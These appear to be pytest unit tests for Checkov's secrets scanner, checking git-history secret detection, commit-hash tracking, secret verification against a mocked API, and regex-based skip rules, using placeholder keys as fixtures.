@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_git_history_merge_added_removed() -> None: """ add, move, remove, add, move = secret with the first added_commit_hash and not removed_commit_hash """ valid_dir_path = "test" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 4 for failed_check in report.failed_checks: assert failed_check.removed_commit_hash == '' assert failed_check.removed_date == '' assert failed_check.added_commit_hash == '11e59e4e578c6ebcb48aae1e5e078a54c62920eb' or failed_check.added_commit_hash == 'c9b3268e15eb20fd406b9077a4c45875086d6c1b' assert failed_check.added_by assert failed_check.added_date @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits2) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_history_secrets_merge_added_removed() -> None: valid_dir_path = "test" secrets = SecretsCollection() plugins_used = [ {'name': 'AWSKeyDetector'}, ] from checkov.secrets.scan_git_history import GitHistoryScanner with transient_settings({ # Only run scans with only these plugins. 'plugins_used': plugins_used }) as settings: settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file']) GitHistoryScanner(valid_dir_path, secrets).scan_history() assert len(secrets.data) == 1 @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits3) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_git_history_merge_added_removed2() -> None: """ add, move, add, remove one = 2 secret one with removed_commit_hash && added_commit_hash and one with only added_commit_hash """ valid_dir_path = "/Users/lshindelman/development/test2" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 5 assert ((report.failed_checks[0].removed_commit_hash == '697308e61171e33224757e620aaf67b1a877c99d' and report.failed_checks[0].removed_date and report.failed_checks[1].removed_commit_hash == '') or (report.failed_checks[1].removed_commit_hash == '697308e61171e33224757e620aaf67b1a877c99d' and report.failed_checks[1].removed_date and report.failed_checks[0].removed_commit_hash == '')) assert report.failed_checks[0].added_by and report.failed_checks[0].added_date assert report.failed_checks[1].added_by and report.failed_checks[1].added_date assert ((report.failed_checks[0].added_commit_hash == '900b1e8f6f336a92e8f5fca3babca764e32c3b3d' and report.failed_checks[1].added_commit_hash == '3c8cb7eedb3986308c96713fc65b006adcf3bc44') or (report.failed_checks[1].added_commit_hash == '900b1e8f6f336a92e8f5fca3babca764e32c3b3d' and report.failed_checks[0].added_commit_hash == '3c8cb7eedb3986308c96713fc65b006adcf3bc44')) # print testing assert_for_commit_str(report.failed_checks[0].to_string() + report.failed_checks[1].to_string(), commit_type=COMMIT_REMOVED_STR, commit_hash='697308e61171e33224757e620aaf67b1a877c99d') assert_for_commit_str(report.failed_checks[0].to_string() + report.failed_checks[1].to_string(), commit_type=COMMIT_ADDED_STR, commit_hash='3c8cb7eedb3986308c96713fc65b006adcf3bc44') assert_for_commit_str(report.failed_checks[0].to_string() + report.failed_checks[1].to_string(), commit_type=COMMIT_ADDED_STR, commit_hash='900b1e8f6f336a92e8f5fca3babca764e32c3b3d') # this test is too flaky ! # @pytest.mark.filterwarnings("error") # otherwise pytest sometimes suppresses the raised Timeout Exception # @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits_too_much) # @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) # @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_first_commit', mock_get_first_commit) # def test_scan_history_secrets_timeout() -> None: # """ # add way too many cases to check in 1 second # """ # valid_dir_path = "test" # secrets = SecretsCollection() # plugins_used = [ # {'name': 'AWSKeyDetector'}, # ] # from checkov.secrets.scan_git_history import GitHistoryScanner # # with transient_settings({ # # Only run scans with only these plugins. # 'plugins_used': plugins_used # }) as settings: # settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file']) # finished = GitHistoryScanner(valid_dir_path, secrets, None, 1).scan_history() # # assert finished is False @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_run_forever) def test_scan_history_secrets_timeout() -> None: """ add way too many cases to check in 1 second """ valid_dir_path = "test" secrets = SecretsCollection() plugins_used = [ {'name': 'AWSKeyDetector'}, ] from checkov.secrets.scan_git_history import GitHistoryScanner with transient_settings({ # Only run scans with only these plugins. 'plugins_used': plugins_used }) as settings: settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file']) finished = GitHistoryScanner(valid_dir_path, secrets, None, 1).scan_history() assert finished is False @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits_remove_file) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_git_history_remove_file() -> None: valid_dir_path = "remove_file" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 4 assert report.failed_checks[0].removed_commit_hash == '4bd08cd0b2874025ce32d0b1e9cd84ca20d59ce1' assert report.failed_checks[0].removed_date assert report.failed_checks[0].added_commit_hash == '63342dbee285973a37770bbb1ff4258a3184901e' assert report.failed_checks[0].added_by and report.failed_checks[0].added_date assert report.failed_checks[0].removed_date @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits_rename_file) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_git_history_rename_file() -> None: valid_dir_path = "/test/git/history/rename/file" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 5 assert (report.failed_checks[0].removed_commit_hash == '' and report.failed_checks[0].removed_date == '' and report.failed_checks[0].added_commit_hash == '2e1a500e688990e065fc6f1202bc64ed0ba53027') assert (report.failed_checks[1].removed_commit_hash == '2e1a500e688990e065fc6f1202bc64ed0ba53027' and report.failed_checks[1].removed_date == '2022-12-14T16:32:13+00:00' and report.failed_checks[1].added_commit_hash == 'adef7360b86c62666f0a70521214220763b9c593') @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits_modify_and_rename_file) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_git_history_modify_and_rename_file() -> None: valid_dir_path = "test_scan_git_history_modify_and_rename_file" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 4 assert report.failed_checks[0].added_commit_hash == '62da8e5e04ec5c3a474467e9012bf3427cff0407' assert report.failed_checks[0].added_by and report.failed_checks[0].added_date assert report.failed_checks[0].removed_commit_hash == '61ee79aea3d151a40c8e054295f330d233eaf7d5' assert report.failed_checks[0].removed_date @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_remove_file_with_two_equal_secret) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit) def test_scan_git_history_rename_file_with_two_equal_secrets() -> None: valid_dir_path = "test_scan_git_history_rename_file_with_two_equal_secrets" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 2 assert report.failed_checks[0].removed_commit_hash == report.failed_checks[1].removed_commit_hash assert report.failed_checks[1].removed_commit_hash assert report.failed_checks[0].removed_date and report.failed_checks[0].removed_date == report.failed_checks[ 1].removed_date @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_remove_file_with_two_secret) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit) def test_scan_git_history_rename_file_with_two_secrets() -> None: valid_dir_path = "test_scan_git_history_rename_file_with_two_secrets" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 2 report.failed_checks[0].removed_commit_hash == report.failed_checks[1].removed_commit_hash assert report.failed_checks[1].removed_commit_hash assert report.failed_checks[0].removed_date and report.failed_checks[0].removed_date == report.failed_checks[ 1].removed_date def assert_for_commit_str(report_str: [str], commit_type: str, commit_hash: str, found: bool = True) -> None: to_find = f'; {commit_type}: {commit_hash}' assert (to_find in report_str) == found # added all file scenarios from multiline tests @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_multiline_json) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit) def test_scan_git_history_multiline_keyword_json() -> None: valid_dir_path = "multiline_keyword_json" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 5 assert report.parsing_errors == [] assert report.passed_checks == [] assert report.skipped_checks == [] @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_multiline_terraform) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit) def test_scan_git_history_multiline_keyword_terraform() -> None: valid_dir_path = "mock_git_repo_multiline_terraform" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) # then failing_resources = { "6bee3eb2f69e06095395ae1d54c810c3a2a99841:9ed4f1457a9c27dd868c1f21276c6d7098d2bacf", "6bee3eb2f69e06095395ae1d54c810c3a2a99841:5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a", "6bee3eb2f69e06095395ae1d54c810c3a2a99841:ac236b0474a9a702f99dbe244a14548783ace5c5", "6bee3eb2f69e06095395ae1d54c810c3a2a99841:06af723e58378574456be0b4c41a89194aaed0c3", "6bee3eb2f69e06095395ae1d54c810c3a2a99841:dcbf46de362e1b6942054b89ee293984e9a8a40a", } failed_check_resources = {c.resource for c in report.failed_checks} assert len(report.failed_checks) == len(failing_resources) assert report.parsing_errors == [] assert report.passed_checks == [] assert report.skipped_checks == [] assert failing_resources == failed_check_resources @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_multiline_yml) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_git_history_multiline_keyword_yml() -> None: valid_dir_path = "mock_git_repo_multiline_yml" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 8 assert report.parsing_errors == [] assert report.passed_checks == [] assert report.skipped_checks == [] def test_scan_git_history_full_vs_partial(mocker: MockerFixture) -> None: # this takes the 3 mock commits and run _test_it on them commits_func = [mock_git_repo_commits1('', ''), mock_git_repo_commits2('', ''), mock_git_repo_commits3('', '')] all([_test_it(mocker, commits) for commits in commits_func]) def _test_it(mocker: MockerFixture, all_commits) -> bool: """ this test tries to run a full scan over 5 commits, then run two separate runs over the first 2 and the last 3 (the second will give the secret store to the third) then compares the results from run 1 to the last run """ valid_dir_path = "test" mocker.patch( "checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff", return_value=all_commits, ) runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) sec_store = runner.get_history_secret_store() # assert len(report.failed_checks) == 3 for failed_check in report.failed_checks: assert failed_check.added_commit_hash or failed_check.removed_commit_hash assert failed_check.added_by and failed_check.added_date mocker.patch( "checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff", return_value=all_commits[0:1]) runner2 = Runner() report2 = runner2.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) # assert len(report2.failed_checks) == 1 sec_store2 = runner2.get_history_secret_store() sec_store2_dc = deepcopy(sec_store2) mocker.patch( "checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff", return_value=all_commits[2:5]) runner3 = Runner() runner3.set_history_secret_store(sec_store2_dc) report3 = runner3.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) sec_store3 = runner3.get_history_secret_store() assert len(report3.failed_checks) == len(report.failed_checks) for failed_check in report3.failed_checks: assert failed_check.added_commit_hash or failed_check.removed_commit_hash assert failed_check.added_by and failed_check.added_date # check the secret store to have the same results assert len(sec_store) == len(sec_store3) for k1, k3 in zip(sec_store, sec_store3): assert k1 == k3 assert sec_store[k1][0].get('added_commit_hash') == sec_store3[k3][0].get('added_commit_hash') return True def test_scan_git_history_real_repo() -> None: """ runs over a real repo inside the resource dir and takes the results """ dir_path = Path(__file__).parent / 'git_history/testing_repo' git_conf_dir = dir_path / 'git_to_change' tmp_git_conf_dir = dir_path / '.git' shutil.rmtree(tmp_git_conf_dir, ignore_errors=True) # make sure no left overs from prev run shutil.copytree(git_conf_dir, tmp_git_conf_dir) runner = Runner() report = runner.run(root_folder=str(dir_path), external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 2 assert report.failed_checks[0].added_commit_hash and not report.failed_checks[0].removed_commit_hash assert report.failed_checks[0].added_date and not report.failed_checks[0].removed_date assert report.failed_checks[1].added_commit_hash and report.failed_checks[1].removed_commit_hash and \ report.failed_checks[1].removed_date shutil.rmtree(tmp_git_conf_dir) # just for cleaning @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_git_history_plugin(mocker: MockerFixture) -> None: valid_dir_path = "test" commits = mock_commit_with_keyword_combinator() mocker.patch( "checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff", return_value=commits) runner = Runner() report = runner.run(root_folder=str(valid_dir_path), external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 4 check = report.failed_checks[0] assert check.added_commit_hash assert check.check_name == 'Base64 High Entropy String' @mock.patch("checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff", lambda self, last_commit_sha: []) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_history_secrets_with_history_store_and_no_new_commit() -> None: # given root_folder = "test" secrets = SecretsCollection() plugins_used = [ {"name": "AWSKeyDetector"}, ] file_name = "Dockerfile" file_results = [ PotentialSecret( type="AWS Access Key", filename=file_name, secret="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", line_number=7, is_added=True, is_removed=False, ) ] commit = Commit( metadata=CommitMetadata( commit_hash="8a21fa691e17907afee57e93b7820c5943b12746", committer="Momo", committed_datetime="2022-12-24T01:02:03+00:00", ), files={ "Dockerfile": 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n \n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n COPY Pipfile Pipfile.lock ./\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n' }, ) history_store = GitHistorySecretStore() history_store.set_secret_map(file_results=file_results, file_name=file_name, commit=commit) # when from checkov.secrets.scan_git_history import GitHistoryScanner with transient_settings( { # Only run scans with only these plugins. "plugins_used": plugins_used } ) as settings: settings.disable_filters(*["detect_secrets.filters.common.is_invalid_file"]) GitHistoryScanner(root_folder=root_folder, secrets=secrets, history_store=history_store).scan_history() # then assert len(secrets.data) == 1 ================================================ FILE: tests/secrets/test_secrets_verification.py ================================================ from __future__ import annotations import os from unittest import mock import pytest import responses from checkov.common.bridgecrew.check_type import CheckType from checkov.common.secrets.consts import VerifySecretsResult @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_verify_secrets_insufficient_params_skip_download() -> None: from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.skip_download = True bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result == VerifySecretsResult.INSUFFICIENT_PARAMS @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_verify_secrets_insufficient_params_no_api_key() -> None: from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_api_key = None from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result == VerifySecretsResult.INSUFFICIENT_PARAMS def test_verify_secrets_insufficient_params_no_flag() -> None: # Not setting CKV_VALIDATE_SECRETS env var from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result == VerifySecretsResult.INSUFFICIENT_PARAMS @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_verify_secrets_insufficient_params_tenant_config_overrides_true_flag() -> None: from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.customer_run_config_response = {'tenantConfig': {'secretsValidate': False}} from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result == VerifySecretsResult.INSUFFICIENT_PARAMS @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "false"}) def test_verify_secrets_insufficient_params_tenant_config_overrides_false_flag() -> None: from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.customer_run_config_response = {'tenantConfig': {'secretsValidate': True}} bc_integration.skip_download = False from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result != VerifySecretsResult.INSUFFICIENT_PARAMS @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "false"}) def test_verify_secrets_insufficient_params_tenant_config_missing_false_flag() -> None: from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.customer_run_config_response = {'tenantConfig': {'mock': True}} bc_integration.skip_download = False from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result == VerifySecretsResult.INSUFFICIENT_PARAMS @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_verify_secrets_insufficient_params_tenant_config_missing_true_flag() -> None: from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.customer_run_config_response = {'tenantConfig': {'mock': True}} bc_integration.skip_download = False from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result != VerifySecretsResult.INSUFFICIENT_PARAMS @responses.activate @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) @pytest.mark.parametrize( "status_code", [ (500,), (400,), ] ) def test_verify_secrets_failure(mock_bc_integration, status_code: int) -> None: responses.add( method=responses.POST, url=f"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification", json={}, status=status_code ) from checkov.secrets.runner import Runner from checkov.common.output.report import Report result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), "") assert result == VerifySecretsResult.FAILURE @responses.activate @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_verify_secrets(mock_bc_integration, secrets_report) -> None: violation_id_to_verify_status = {"VIOLATION_1": "Privileged", "VIOLATION_2": "Valid", "VIOLATION_3": "Invalid", "VIOLATION_4": "Unknown"} verified_report = [ { "violationId": "VIOLATION_1", "resourceId": "mock:RESOURCE_1", "status": "Privileged" }, { "violationId": "VIOLATION_2", "resourceId": "mock:RESOURCE_2", "status": "Valid" }, { "violationId": "VIOLATION_3", "resourceId": "mock:RESOURCE_3", "status": "Invalid" }, { "violationId": "VIOLATION_4", "resourceId": "mock:RESOURCE_4", "status": "Unknown" } ] responses.add( method=responses.POST, url=f"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification", json={'verificationReportSignedUrl': 'mock'}, status=200 ) from checkov.secrets.runner import Runner runner = Runner() runner.get_json_verification_report = lambda x: verified_report result = runner.verify_secrets(secrets_report, "path/to/enriched/secrets") assert result == VerifySecretsResult.SUCCESS for check in secrets_report.failed_checks: if hasattr(check, "validation_status"): assert check.validation_status == violation_id_to_verify_status[check.bc_check_id] else: raise Exception("Secrets record should have a validation status attribute") for check in secrets_report.passed_checks: if hasattr(check, "validation_status"): assert check.validation_status == 'mock' @responses.activate @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_runner_verify_secrets(mock_bc_integration, mock_metadata_integration): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" rel_resource_path = '/secret.yml' resource_id = '25910f981e85ca04baf359199dd0bd4a3ae738b6' verified_report = [ { "violationId": "BC_GIT_2", "resourceId": f"{rel_resource_path}:{resource_id}", "status": "Valid" } ] responses.add( method=responses.POST, url=f"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification", json={'verificationReportSignedUrl': 'mock'}, status=200 ) from checkov.secrets.runner import Runner runner = Runner() mock_bc_integration.persist_enriched_secrets = lambda x: 'mock' mock_bc_integration.bc_api_key = 'mock' runner.get_json_verification_report = lambda x: verified_report from checkov.runner_filter import RunnerFilter report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'])) for check in report.failed_checks: if check.file_path == rel_resource_path and check.resource == resource_id: assert check.validation_status == 'Valid' else: assert check.validation_status == 'Unavailable' ================================================ FILE: tests/secrets/test_secrets_verification_suppressions.py ================================================ import os from unittest import mock import responses from checkov.common.models.enums import CheckResult @responses.activate @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_runner_verify_secrets_skip_invalid_suppressed(mock_bc_integration, mock_metadata_integration): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" rel_resource_path = '/secret.yml' resource_id = '3472e46be802575792c8ddc3fcea5399a73078f1' verified_report = [ { "violationId": "BC_GIT_2", "resourceId": f"{rel_resource_path}:{resource_id}", "status": "Invalid" } ] responses.add( method=responses.POST, url=f"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification", json={'verificationReportSignedUrl': 'mock'}, status=200 ) from checkov.runner_filter import RunnerFilter from checkov.secrets.runner import Runner runner = Runner() mock_bc_integration.persist_enriched_secrets = lambda x: 'mock' mock_bc_integration.bc_api_key = 'mock' runner.get_json_verification_report = lambda x: verified_report report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['Invalid'])) assert len(report.skipped_checks) == 1 assert report.skipped_checks[0].file_path == rel_resource_path assert report.skipped_checks[0].resource == resource_id assert report.skipped_checks[0].validation_status == 'Invalid' assert len(report.failed_checks) == 1 assert report.failed_checks[0].validation_status != 'Invalid' @responses.activate @mock.patch.dict(os.environ, {"CKV_VALIDATE_SECRETS": "true"}) def test_runner_verify_secrets_skip_all_no_effect(mock_bc_integration, mock_metadata_integration): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" rel_resource_path = '/secret.yml' resource_id = '3472e46be802575792c8ddc3fcea5399a73078f1' second_resource_id = 'a8a2f5d0efa444d71973792b14df2e05c00458c4' verified_report = [ { "violationId": "BC_GIT_2", "resourceId": f"{rel_resource_path}:{resource_id}", "status": "Invalid" }, { "violationId": "BC_GIT_6", "resourceId": f"{rel_resource_path}:{second_resource_id}", "status": "Unknown" } ] responses.add( method=responses.POST, url=f"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification", json={'verificationReportSignedUrl': 'mock'}, status=200 ) from checkov.runner_filter import RunnerFilter from checkov.secrets.runner import Runner runner = Runner() mock_bc_integration.persist_enriched_secrets = lambda x: 'mock' mock_bc_integration.bc_api_key = 'mock' runner.get_json_verification_report = lambda x: verified_report report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['Invalid', 'Unknown', 'Valid'])) assert len(report.skipped_checks) == 1 assert report.skipped_checks[0].file_path == rel_resource_path assert report.skipped_checks[0].resource == resource_id assert report.skipped_checks[0].validation_status == 'Invalid' assert len(report.failed_checks) == 1 assert report.failed_checks[0].file_path == rel_resource_path assert report.failed_checks[0].resource == second_resource_id assert report.failed_checks[0].validation_status == 'Unknown' def test_modify_invalid_secrets_check_result_to_skipped(secrets_report_invalid_status) -> None: from checkov.secrets.runner import Runner Runner()._modify_invalid_secrets_check_result_to_skipped(secrets_report_invalid_status) assert len(secrets_report_invalid_status.failed_checks) == 0 assert len(secrets_report_invalid_status.skipped_checks) == 4 assert len(secrets_report_invalid_status.passed_checks) == 1 assert all(check.check_result["result"] == CheckResult.SKIPPED for check in secrets_report_invalid_status.skipped_checks) assert all(check.check_result["suppress_comment"] == "Skipped invalid secret" for check in secrets_report_invalid_status.skipped_checks) ================================================ FILE: tests/secrets/test_skip_check_in_json.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.secrets.runner import Runner class TestCustomRegexDetector(unittest.TestCase): def test_no_skip(self) -> None: """ Pass regex pattern which is not apply on any file from test_files_dir """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1/skip_test2") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*3.json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 10) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) def test_skip_on_one1(self) -> None: """ Pass regex pattern which is apply on one file - first check """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1/skip_test2") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*1.json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 5) self.assertEqual(summary['parsing_errors'], 0) def test_skip_on_one2(self) -> None: """ Pass regex pattern which is apply on one file - second check """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1/skip_test2") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*2.json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 5) self.assertEqual(summary['parsing_errors'], 0) def test_skip_both(self) -> None: """ Pass regex pattern apply all files in root folder """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1/skip_test2") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 10) self.assertEqual(summary['parsing_errors'], 0) def test_skip_directory_pattern(self) -> None: """ Pass regex pattern which is only apply on one directory pattern """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*skip_test2.*json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 10) 